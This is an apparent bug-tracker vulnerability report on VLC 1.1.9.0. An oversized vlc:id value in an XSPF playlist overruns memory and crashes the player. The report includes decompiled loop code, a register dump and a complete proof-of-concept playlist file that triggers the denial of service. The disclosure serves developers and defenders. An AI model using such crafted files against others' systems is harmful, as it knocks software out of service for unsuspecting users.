Skip to content

VLC Media Player 1.1.9.0 XSPF Local File Denial of Service Condition

The VLC XSPF file uses a tag vlc:idvlc:id which accepts decimal values for the vlc:id. When entering a large value that is beyond the memory segment that is allocated for program data the program crashes. Setting vlc:id value to 1073741823,e.g. vlc:id1073741823</vlc:id> will results in a MEMORY ACCESS VIOLATION and the application crash.

The vulnerable code in module libplaylist_plugin.dll looks like (pseudo C code example):

                do
                {
                  __counter += 8;
                  mem->dword0 = 0;
                  mem->dword4 = 0;
                  mem->dword8 = 0;
                  mem->dwordC = 0;
                  mem->dword10 = 0;
                  mem->dword14 = 0;
                  mem->dword18 = 0;
                  mem->dword1C = 0;
                  ++mem; <-- vialotion happens here when mem value is greater then memory segment
                }
                while ( __counter <= __controlled_value_edx );
              }
            };
Once we hit an address that does not exist we will result in a Denial of Service condition.
	EAX 01A97FE8
	ECX 00003320
	EDX 3FFFFFFF <--------------- Value we control
	EBX 01A972F8
	ESP 02B6FBA8
	EBP 02B6FCC0
	ESI 00000007
	EDI 01A8B388
	EIP 7024FA5E libplayl.7024FA5E
	C 0  ES 0023 32bit 0(FFFFFFFF)
	P 0  CS 001B 32bit 0(FFFFFFFF)
	A 1  SS 0023 32bit 0(FFFFFFFF)
	Z 0  DS 0023 32bit 0(FFFFFFFF)
	S 0  FS 003B 32bit 7FFAF000(FFF)
	T 0  GS 0000 NULL
	D 0
	O 0  LastErr ERROR_SUCCESS (00000000)
	EFL 00010212 (NO,NB,NE,A,NS,PO,GE,G)
	ST0 empty +UNORM 6900 00AECAB0 00ADEB10
	ST1 empty +UNORM 000B 003F0428 694C2808
	ST2 empty -UNORM EB10 00AECAB0 00ADEB10
	ST3 empty 0.9999999999999573674
	ST4 empty 0.5000000000000000000
	ST5 empty 0.9999999999999573674
	ST6 empty 0.0
	ST7 empty 559.00000000000000000
        	       3 2 1 0      E S P U O Z D I
	FST 0020  Cond 0 0 0 0  Err 0 0 1 0 0 0 0 0  (GT)
	FCW 027F  Prec NEAR,53  Mask    1 1 1 1 1 1

	
	End of block:
	01A97FE8  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
	01A97FF8  00 00 00 00 00 00 00 00                          ........

PROOF OF CONCEPT (PoC)

	<?xml version="1.0" encoding="UTF-8"?>
	<playlist version="1" xmlns="http://xspf.org/ns/0/" xmlns:vlc="http://www.videolan.org/vlc/playlist/ns/0/">
		<title>Playlist</title>
		<trackList>
			<track>
				<location>file:///C:/Users/w00t/Desktop/aarug.mp3</location>
				<duration>992</duration>
				<extension application="http://www.videolan.org/vlc/playlist/0">
					<vlc:id>1073741823</vlc:id>
				</extension>
			</track>
		</trackList>
		<extension application="http://www.videolan.org/vlc/playlist/0">
				<vlc:item tid="0" />
		</extension>
	</playlist>
Edited by Rémi Denis-Courmont
To upload designs, you'll need to enable LFS and have an admin enable hashed storage. More information